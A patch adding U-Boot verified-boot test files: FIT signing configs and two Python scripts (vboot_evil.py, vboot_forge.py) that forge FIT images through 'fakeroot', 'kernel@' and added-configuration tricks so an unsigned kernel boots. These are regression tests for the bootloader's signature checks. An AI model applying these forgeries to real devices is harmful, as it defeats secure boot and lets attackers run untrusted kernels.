+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			signature {
+				algo = "sha1,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			signature {
+				algo = "sha1,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-images-sha1.its b/roms/u-boot/test/py/tests/vboot/sign-images-sha1.its
new file mode 100644
index 000000000..18c759e9e
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-images-sha1.its
@@ -0,0 +1,42 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			signature {
+				algo = "sha1,rsa2048";
+				key-name-hint = "dev";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			signature {
+				algo = "sha1,rsa2048";
+				key-name-hint = "dev";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-images-sha256-pss.its b/roms/u-boot/test/py/tests/vboot/sign-images-sha256-pss.its
new file mode 100644
index 000000000..34850cc6c
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-images-sha256-pss.its
@@ -0,0 +1,44 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			signature {
+				algo = "sha256,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			signature {
+				algo = "sha256,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-images-sha256.its b/roms/u-boot/test/py/tests/vboot/sign-images-sha256.its
new file mode 100644
index 000000000..bb0f8ee8a
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-images-sha256.its
@@ -0,0 +1,42 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			signature {
+				algo = "sha256,rsa2048";
+				key-name-hint = "dev";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			signature {
+				algo = "sha256,rsa2048";
+				key-name-hint = "dev";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot_evil.py b/roms/u-boot/test/py/tests/vboot_evil.py
new file mode 100644
index 000000000..9825c2171
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot_evil.py
@@ -0,0 +1,485 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, Intel Corporation
+
+"""Modifies a devicetree to add a fake root node, for testing purposes"""
+
+import hashlib
+import struct
+import sys
+
+FDT_PROP = 0x3
+FDT_BEGIN_NODE = 0x1
+FDT_END_NODE = 0x2
+FDT_END = 0x9
+
+FAKE_ROOT_ATTACK = 0
+KERNEL_AT = 1
+
+MAGIC = 0xd00dfeed
+
+EVIL_KERNEL_NAME = b'evil_kernel'
+FAKE_ROOT_NAME = b'f@keroot'
+
+
+def getstr(dt_strings, off):
+    """Get a string from the devicetree string table
+
+    Args:
+        dt_strings (bytes): Devicetree strings section
+        off (int): Offset of string to read
+
+    Returns:
+        str: String read from the table
+    """
+    output = ''
+    while dt_strings[off]:
+        output += chr(dt_strings[off])
+        off += 1
+
+    return output
+
+
+def align(offset):
+    """Align an offset to a multiple of 4
+
+    Args:
+        offset (int): Offset to align
+
+    Returns:
+        int: Resulting aligned offset (rounds up to nearest multiple)
+    """
+    return (offset + 3) & ~3
+
+
+def determine_offset(dt_struct, dt_strings, searched_node_name):
+    """Determines the offset of an element, either a node or a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        searched_node_name (str): element path, ex: /images/kernel@1/data
+
+    Returns:
+        tuple: (node start offset, node end offset)
+        if element is not found, returns (None, None)
+    """
+    offset = 0
+    depth = -1
+
+    path = '/'
+
+    object_start_offset = None
+    object_end_offset = None
+    object_depth = None
+
+    while offset < len(dt_struct):
+        (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+        if tag == FDT_BEGIN_NODE:
+            depth += 1
+
+            begin_node_offset = offset
+            offset += 4
+
+            node_name = getstr(dt_struct, offset)
+            offset += len(node_name) + 1
+            offset = align(offset)
+
+            if path[-1] != '/':
+                path += '/'
+
+            path += str(node_name)
+
+            if path == searched_node_name:
+                object_start_offset = begin_node_offset
+                object_depth = depth
+
+        elif tag == FDT_PROP:
+            begin_prop_offset = offset
+
+            offset += 4
+            len_tag, nameoff = struct.unpack('>II',
+                                             dt_struct[offset:offset + 8])
+            offset += 8
+            prop_name = getstr(dt_strings, nameoff)
+
+            len_tag = align(len_tag)
+
+            offset += len_tag
+
+            node_path = path + '/' + str(prop_name)
+
+            if node_path == searched_node_name:
+                object_start_offset = begin_prop_offset
+
+        elif tag == FDT_END_NODE:
+            offset += 4
+
+            path = path[:path.rfind('/')]
+            if not path:
+                path = '/'
+
+            if depth == object_depth:
+                object_end_offset = offset
+                break
+            depth -= 1
+        elif tag == FDT_END:
+            break
+
+        else:
+            print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
+            break
+
+    return object_start_offset, object_end_offset
+
+
+def modify_node_name(dt_struct, node_offset, replcd_name):
+    """Change the name of a node
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        node_offset (int): Offset of node
+        replcd_name (str): New name for node
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+
+    # skip 4 bytes for the FDT_BEGIN_NODE
+    node_offset += 4
+
+    node_name = getstr(dt_struct, node_offset)
+    node_name_len = len(node_name) + 1
+
+    node_name_len = align(node_name_len)
+
+    replcd_name += b'\0'
+
+    # align on 4 bytes
+    while len(replcd_name) % 4:
+        replcd_name += b'\0'
+
+    dt_struct = (dt_struct[:node_offset] + replcd_name +
+                 dt_struct[node_offset + node_name_len:])
+
+    return dt_struct
+
+
+def modify_prop_content(dt_struct, prop_offset, content):
+    """Overwrite the value of a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        prop_offset (int): Offset of property (FDT_PROP tag)
+        content (bytes): New content for the property
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+    # skip FDT_PROP
+    prop_offset += 4
+    (len_tag, nameoff) = struct.unpack('>II',
+                                       dt_struct[prop_offset:prop_offset + 8])
+
+    # compute padded original node length
+    original_node_len = len_tag + 8  # content length + prop meta data len
+
+    original_node_len = align(original_node_len)
+
+    added_data = struct.pack('>II', len(content), nameoff)
+    added_data += content
+    while len(added_data) % 4:
+        added_data += b'\0'
+
+    dt_struct = (dt_struct[:prop_offset] + added_data +
+                 dt_struct[prop_offset + original_node_len:])
+
+    return dt_struct
+
+
+def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
+                          required=True):
+    """Change a given property value
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+        prop_value (bytes):  new property name
+        required (bool): raise an exception if property not found
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if rt_node_start is None:
+        if not required:
+            return dt_struct
+        raise ValueError('Fatal error, unable to find prop %s' % prop_path)
+
+    dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
+
+    return dt_struct
+
+def change_node_name(dt_struct, dt_strings, node_path, node_name):
+    """Change a given node name
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        node_path (str): full path of the target node
+        node_name (str): new node name, just node name not full path
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the node is not found
+    """
+    (rt_node_start, rt_node_end) = (
+        determine_offset(dt_struct, dt_strings, node_path))
+    if rt_node_start is None or rt_node_end is None:
+        raise ValueError('Fatal error, unable to find root node')
+
+    dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
+
+    return dt_struct
+
+def get_prop_value(dt_struct, dt_strings, prop_path):
+    """Get the content of a property based on its path
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+
+    Returns:
+        bytes: Property value
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if offset is None:
+        raise ValueError('Fatal error, unable to find prop')
+
+    offset += 4
+    (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+    offset += 8
+    tag_data = dt_struct[offset:offset + len_tag]
+
+    return tag_data
+
+
+def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+    """Conduct the kernel@ attack
+
+    It fetches from /configurations/default the name of the kernel being loaded.
+    Then, if the kernel name does not contain any @sign, duplicates the kernel
+    in /images node and appends '@evil' to its name.
+    It inserts a new kernel content and updates its images digest.
+
+    Inputs:
+        - FIT dt_struct
+        - FIT dt_strings
+        - kernel content blob
+        - kernel hash blob
+
+    Important note: it assumes the U-Boot loading method is 'kernel' and the
+    loaded kernel hash's subnode name is 'hash-1'
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/' + default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    if loaded_kernel.find('@') != -1:
+        print('kernel@ attack does not work on nodes already containing an @ sign!')
+        sys.exit()
+
+    # determine boundaries of the loaded kernel
+    (krn_node_start, krn_node_end) = (determine_offset(
+        dt_struct, dt_strings, '/images/' + loaded_kernel))
+    if krn_node_start is None and krn_node_end is None:
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # copy the loaded kernel
+    loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
+
+    # insert the copy inside the tree
+    dt_struct = dt_struct[:krn_node_start] + \
+        loaded_kernel_copy + dt_struct[krn_node_start:]
+
+    evil_kernel_name = loaded_kernel+'@evil'
+
+    # change the inserted kernel name
+    dt_struct = change_node_name(
+        dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
+
+    return dt_struct
+
+
+def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
+    """Conduct the fakenode attack
+
+    It duplicates the original root node at the beginning of the tree.
+    Then it modifies within this duplicated tree:
+        - The loaded kernel name
+        - The loaded  kernel data
+
+    Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
+    hash's subnode name is hash@1
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/'+default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    # determine root node start and end:
+    (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
+    if (rt_node_start is None) or (rt_node_end is None):
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # duplicate the whole tree
+    duplicated_node = dt_struct[rt_node_start:rt_node_end]
+
+    # dchange root name (empty name) to fake root name
+    new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
+
+    dt_struct = new_dup + dt_struct
+
+    # change the value of //configs//kernel
+    # so our modified kernel will be loaded
+    base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
+    value_path = base + conf_path+'/kernel'
+    dt_struct = change_property_value(dt_struct, dt_strings, value_path,
+                                      EVIL_KERNEL_NAME + b'\0')
+
+    # change the node of the //images/
+    images_path = base + '/images/'
+    node_path = images_path + loaded_kernel
+    dt_struct = change_node_name(dt_struct, dt_strings, node_path,
+                                 EVIL_KERNEL_NAME)
+
+    # change the content of the kernel being loaded
+    data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
+    dt_struct = change_property_value(dt_struct, dt_strings, data_path,
+                                      kernel_content, required=False)
+
+    # update the digest value
+    hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
+    dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
+                                      kernel_digest)
+
+    return dt_struct
+
+def add_evil_node(in_fname, out_fname, kernel_fname, attack):
+    """Add an evil node to the devicetree
+
+    Args:
+        in_fname (str): Filename of input devicetree
+        out_fname (str): Filename to write modified devicetree to
+        kernel_fname (str): Filename of kernel data to add to evil node
+        attack (str): Attack type ('fakeroot' or 'kernel@')
+
+    Raises:
+        ValueError: Unknown attack name
+    """
+    if attack == 'fakeroot':
+        attack = FAKE_ROOT_ATTACK
+    elif attack == 'kernel@':
+        attack = KERNEL_AT
+    else:
+        raise ValueError('Unknown attack name!')
+
+    with open(in_fname, 'rb') as fin:
+        input_data = fin.read()
+
+    hdr = input_data[0:0x28]
+
+    offset = 0
+    magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
+    if magic != MAGIC:
+        raise ValueError('Wrong magic!')
+
+    offset += 4
+    (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
+     last_comp_version, boot_cpuid_phys, size_dt_strings,
+     size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
+
+    rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
+    dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
+    dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
+
+    with open(kernel_fname, 'rb') as kernel_file:
+        kernel_content = kernel_file.read()
+
+    # computing inserted kernel hash
+    val = hashlib.sha1()
+    val.update(kernel_content)
+    hash_digest = val.digest()
+
+    if attack == FAKE_ROOT_ATTACK:
+        dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
+                                          hash_digest)
+    elif attack == KERNEL_AT:
+        dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
+                                     hash_digest)
+
+    # now rebuild the new file
+    size_dt_strings = len(dt_strings)
+    size_dt_struct = len(dt_struct)
+    totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
+    off_mem_rsvmap = 0x28
+    off_dt_struct = off_mem_rsvmap + len(rsv_map)
+    off_dt_strings = off_dt_struct + len(dt_struct)
+
+    header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
+                         off_dt_strings, off_mem_rsvmap, version,
+                         last_comp_version, boot_cpuid_phys, size_dt_strings,
+                         size_dt_struct)
+
+    with open(out_fname, 'wb') as output_file:
+        output_file.write(header)
+        output_file.write(rsv_map)
+        output_file.write(dt_struct)
+        output_file.write(dt_strings)
+
+if __name__ == '__main__':
+    if len(sys.argv) != 5:
+        print('usage: %s    ' %
+              sys.argv[0])
+        print('valid attack names: [fakeroot, kernel@]')
+        sys.exit(1)
+
+    add_evil_node(sys.argv[1:])
diff --git a/roms/u-boot/test/py/tests/vboot_forge.py b/roms/u-boot/test/py/tests/vboot_forge.py
new file mode 100644
index 000000000..b41105bd0
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot_forge.py
@@ -0,0 +1,423 @@
+#!/usr/bin/python3
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
+#
+# pylint: disable=E1101,W0201,C0103
+
+"""
+Verified boot image forgery tools and utilities
+
+This module provides services to both take apart and regenerate FIT images
+in a way that preserves all existing verified boot signatures, unless you
+manipulate nodes in the process.
+"""
+
+import struct
+import binascii
+from io import BytesIO
+
+#
+# struct parsing helpers
+#
+
+class BetterStructMeta(type):
+    """
+    Preprocesses field definitions and creates a struct.Struct instance from them
+    """
+    def __new__(cls, clsname, superclasses, attributedict):
+        if clsname != 'BetterStruct':
+            fields = attributedict['__fields__']
+            field_types = [_[0] for _ in fields]
+            field_names = [_[1] for _ in fields if _[1] is not None]
+            attributedict['__names__'] = field_names
+            s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
+            attributedict['__struct__'] = s
+            attributedict['size'] = s.size
+        return type.__new__(cls, clsname, superclasses, attributedict)
+
+class BetterStruct(metaclass=BetterStructMeta):
+    """
+    Base class for better structures
+    """
+    def __init__(self):
+        for t, n in self.__fields__:
+            if 's' in t:
+                setattr(self, n, '')
+            elif t in ('Q', 'I', 'H', 'B'):
+                setattr(self, n, 0)
+
+    @classmethod
+    def unpack_from(cls, buffer, offset=0):
+        """
+        Unpack structure instance from a buffer
+        """
+        fields = cls.__struct__.unpack_from(buffer, offset)
+        instance = cls()
+        for n, v in zip(cls.__names__, fields):
+            setattr(instance, n, v)
+        return instance
+
+    def pack(self):
+        """
+        Pack structure instance into bytes
+        """
+        return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
+
+    def __str__(self):
+        items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
+        return '(' + ', '.join(items) + ')'
+
+#
+# some defs for flat DT data
+#
+
+class HeaderV17(BetterStruct):
+    __endian__ = '>'
+    __fields__ = [
+        ('I', 'magic'),
+        ('I', 'totalsize'),
+        ('I', 'off_dt_struct'),
+        ('I', 'off_dt_strings'),
+        ('I', 'off_mem_rsvmap'),
+        ('I', 'version'),
+        ('I', 'last_comp_version'),
+        ('I', 'boot_cpuid_phys'),
+        ('I', 'size_dt_strings'),
+        ('I', 'size_dt_struct'),
+    ]
+
+class RRHeader(BetterStruct):
+    __endian__ = '>'
+    __fields__ = [
+        ('Q', 'address'),
+        ('Q', 'size'),
+    ]
+
+class PropHeader(BetterStruct):
+    __endian__ = '>'
+    __fields__ = [
+        ('I', 'value_size'),
+        ('I', 'name_offset'),
+    ]
+
+# magical constants for DTB format
+OF_DT_HEADER = 0xd00dfeed
+OF_DT_BEGIN_NODE = 1
+OF_DT_END_NODE = 2
+OF_DT_PROP = 3
+OF_DT_END = 9
+
+class StringsBlock:
+    """
+    Represents a parsed device tree string block
+    """
+    def __init__(self, values=None):
+        if values is None:
+            self.values = []
+        else:
+            self.values = values
+
+    def __getitem__(self, at):
+        if isinstance(at, str):
+            offset = 0
+            for value in self.values:
+                if value == at:
+                    break
+                offset += len(value) + 1
+            else:
+                self.values.append(at)
+            return offset
+
+        if isinstance(at, int):
+            offset = 0
+            for value in self.values:
+                if offset == at:
+                    return value
+                offset += len(value) + 1
+            raise IndexError('no string found corresponding to the given offset')
+
+        raise TypeError('only strings and integers are accepted')
+
+class Prop:
+    """
+    Represents a parsed device tree property
+    """
+    def __init__(self, name=None, value=None):
+        self.name = name
+        self.value = value
+
+    def clone(self):
+        return Prop(self.name, self.value)
+
+    def __repr__(self):
+        return "" % (self.name, repr(self.value))
+
+class Node:
+    """
+    Represents a parsed device tree node
+    """
+    def __init__(self, name=None):
+        self.name = name
+        self.props = []
+        self.children = []
+
+    def clone(self):
+        o = Node(self.name)
+        o.props = [x.clone() for x in self.props]
+        o.children = [x.clone() for x in self.children]
+        return o
+
+    def __getitem__(self, index):
+        return self.children[index]
+
+    def __repr__(self):
+        return "" % (self.name, repr(self.props), repr(self.children))
+
+#
+# flat DT to memory
+#
+
+def parse_strings(strings):
+    """
+    Converts the bytes into a StringsBlock instance so it is convenient to work with
+    """
+    strings = strings.split(b'\x00')
+    return StringsBlock(strings)
+
+def parse_struct(stream):
+    """
+    Parses DTB structure(s) into a Node or Prop instance
+    """
+    tag = bytearray(stream.read(4))[3]
+    if tag == OF_DT_BEGIN_NODE:
+        name = b''
+        while b'\x00' not in name:
+            name += stream.read(4)
+        name = name.rstrip(b'\x00')
+        node = Node(name)
+
+        item = parse_struct(stream)
+        while item is not None:
+            if isinstance(item, Node):
+                node.children.append(item)
+            elif isinstance(item, Prop):
+                node.props.append(item)
+            item = parse_struct(stream)
+
+        return node
+
+    if tag == OF_DT_PROP:
+        h = PropHeader.unpack_from(stream.read(PropHeader.size))
+        length = (h.value_size + 3) & (~3)
+        value = stream.read(length)[:h.value_size]
+        prop = Prop(h.name_offset, value)
+        return prop
+
+    if tag in (OF_DT_END_NODE, OF_DT_END):
+        return None
+
+    raise ValueError('unexpected tag value')
+
+def read_fdt(fp):
+    """
+    Reads and parses the flattened device tree (or derivatives like FIT)
+    """
+    header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
+    if header.magic != OF_DT_HEADER:
+        raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
+    # TODO: read/parse reserved regions
+    fp.seek(header.off_dt_struct)
+    structs = fp.read(header.size_dt_struct)
+    fp.seek(header.off_dt_strings)
+    strings = fp.read(header.size_dt_strings)
+    strblock = parse_strings(strings)
+    root = parse_struct(BytesIO(structs))
+
+    return root, strblock
+
+#
+# memory to flat DT
+#
+
+def compose_structs_r(item):
+    """
+    Recursive part of composing Nodes and Props into a bytearray
+    """
+    t = bytearray()
+
+    if isinstance(item, Node):
+        t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
+        if isinstance(item.name, str):
+            item.name = bytes(item.name, 'utf-8')
+        name = item.name + b'\x00'
+        if len(name) & 3:
+            name += b'\x00' * (4 - (len(name) & 3))
+        t.extend(name)
+        for p in item.props:
+            t.extend(compose_structs_r(p))
+        for c in item.children:
+            t.extend(compose_structs_r(c))
+        t.extend(struct.pack('>I', OF_DT_END_NODE))
+
+    elif isinstance(item, Prop):
+        t.extend(struct.pack('>I', OF_DT_PROP))
+        value = item.value
+        h = PropHeader()
+        h.name_offset = item.name
+        if value:
+            h.value_size = len(value)
+            t.extend(h.pack())
+            if len(value) & 3:
+                value += b'\x00' * (4 - (len(value) & 3))
+            t.extend(value)
+        else:
+            h.value_size = 0
+            t.extend(h.pack())
+
+    return t
+
+def compose_structs(root):
+    """
+    Composes the parsed Nodes into a flat bytearray instance
+    """
+    t = compose_structs_r(root)
+    t.extend(struct.pack('>I', OF_DT_END))
+    return t
+
+def compose_strings(strblock):
+    """
+    Composes the StringsBlock instance back into a bytearray instance
+    """
+    b = bytearray()
+    for s in strblock.values:
+        b.extend(s)
+        b.append(0)
+    return bytes(b)
+
+def write_fdt(root, strblock, fp):
+    """
+    Writes out a complete flattened device tree (or FIT)
+    """
+    header = HeaderV17()
+    header.magic = OF_DT_HEADER
+    header.version = 17
+    header.last_comp_version = 16
+    fp.write(header.pack())
+
+    header.off_mem_rsvmap = fp.tell()
+    fp.write(RRHeader().pack())
+
+    structs = compose_structs(root)
+    header.off_dt_struct = fp.tell()
+    header.size_dt_struct = len(structs)
+    fp.write(structs)
+
+    strings = compose_strings(strblock)
+    header.off_dt_strings = fp.tell()
+    header.size_dt_strings = len(strings)
+    fp.write(strings)
+
+    header.totalsize = fp.tell()
+
+    fp.seek(0)
+    fp.write(header.pack())
+
+#
+# pretty printing / converting to DT source
+#
+
+def as_bytes(value):
+    return ' '.join(["%02X" % x for x in value])
+
+def prety_print_value(value):
+    """
+    Formats a property value as appropriate depending on the guessed data type
+    """
+    if not value:
+        return '""'
+    if value[-1] == b'\x00':
+        printable = True
+        for x in value[:-1]:
+            x = ord(x)
+            if x != 0 and (x < 0x20 or x > 0x7F):
+                printable = False
+                break
+        if printable:
+            value = value[:-1]
+            return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
+    if len(value) > 0x80:
+        return '[' + as_bytes(value[:0x80]) + ' ... ]'
+    return '[' + as_bytes(value) + ']'
+
+def pretty_print_r(node, strblock, indent=0):
+    """
+    Prints out a single node, recursing further for each of its children
+    """
+    spaces = '  ' * indent
+    print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
+    for p in node.props:
+        print((spaces + '  %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
+    for c in node.children:
+        pretty_print_r(c, strblock, indent+1)
+    print((spaces + '};'))
+
+def pretty_print(node, strblock):
+    """
+    Generates an almost-DTS formatted printout of the parsed device tree
+    """
+    print('/dts-v1/;')
+    pretty_print_r(node, strblock, 0)
+
+#
+# manipulating the DT structure
+#
+
+def manipulate(root, strblock):
+    """
+    Maliciously manipulates the structure to create a crafted FIT file
+    """
+    # locate /images/kernel-1 (frankly, it just expects it to be the first one)
+    kernel_node = root[0][0]
+    # clone it to save time filling all the properties
+    fake_kernel = kernel_node.clone()
+    # rename the node
+    fake_kernel.name = b'kernel-2'
+    # get rid of signatures/hashes
+    fake_kernel.children = []
+    # NOTE: this simply replaces the first prop... either description or data
+    # should be good for testing purposes
+    fake_kernel.props[0].value = b'Super 1337 kernel\x00'
+    # insert the new kernel node under /images
+    root[0].children.append(fake_kernel)
+
+    # modify the default configuration
+    root[1].props[0].value = b'conf-2\x00'
+    # clone the first (only?) configuration
+    fake_conf = root[1][0].clone()
+    # rename and change kernel and fdt properties to select the crafted kernel
+    fake_conf.name = b'conf-2'
+    fake_conf.props[0].value = b'kernel-2\x00'
+    fake_conf.props[1].value = b'fdt-1\x00'
+    # insert the new configuration under /configurations
+    root[1].children.append(fake_conf)
+
+    return root, strblock
+
+def main(argv):
+    with open(argv[1], 'rb') as fp:
+        root, strblock = read_fdt(fp)
+
+    print("Before:")
+    pretty_print(root, strblock)
+
+    root, strblock = manipulate(root, strblock)
+    print("After:")
+    pretty_print(root, strblock)
+
+    with open('blah', 'w+b') as fp:
+        write_fdt(root, strblock, fp)
+
+if __name__ == '__main__':
+    import sys
+    main(sys.argv)
+# EOF
diff --git a/roms/u-boot/test/py/u_boot_console_base.py b/roms/u-boot/test/py/u_boot_console_base.py
new file mode 100644
index 000000000..1db5da4c1
--- /dev/null
+++ b/roms/u-boot/test/py/u_boot_console_base.py
@@ -0,0 +1,478 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Common logic to interact with U-Boot via the console. This class provides
+# the interface that tests use to execute U-Boot shell commands and wait for
+# their results. Sub-classes exist to perform board-type-specific setup
+# operations, such as spawning a sub-process for Sandbox, or attaching to the
+# serial console of real hardware.
+
+import multiplexed_log
+import os
+import pytest
+import re
+import sys
+import u_boot_spawn
+
+# Regexes for text we expect U-Boot to send to the console.
+pattern_u_boot_spl_signon = re.compile('(U-Boot SPL \\d{4}\\.\\d{2}[^\r\n]*\\))')
+pattern_u_boot_spl2_signon = re.compile('(U-Boot SPL \\d{4}\\.\\d{2}[^\r\n]*\\))')
+pattern_u_boot_main_signon = re.compile('(U-Boot \\d{4}\\.\\d{2}[^\r\n]*\\))')
+pattern_stop_autoboot_prompt = re.compile('Hit any key to stop autoboot: ')
+pattern_unknown_command = re.compile('Unknown command \'.*\' - try \'help\'')
+pattern_error_notification = re.compile('## Error: ')
+pattern_error_please_reset = re.compile('### ERROR ### Please RESET the board ###')
+
+PAT_ID = 0
+PAT_RE = 1
+
+bad_pattern_defs = (
+    ('spl_signon', pattern_u_boot_spl_signon),
+    ('spl2_signon', pattern_u_boot_spl2_signon),
+    ('main_signon', pattern_u_boot_main_signon),
+    ('stop_autoboot_prompt', pattern_stop_autoboot_prompt),
+    ('unknown_command', pattern_unknown_command),
+    ('error_notification', pattern_error_notification),
+    ('error_please_reset', pattern_error_please_reset),
+)
+
+class ConsoleDisableCheck(object):
+    """Context manager (for Python's with statement) that temporarily disables
+    the specified console output error check. This is useful when deliberately
+    executing a command that is known to trigger one of the error checks, in
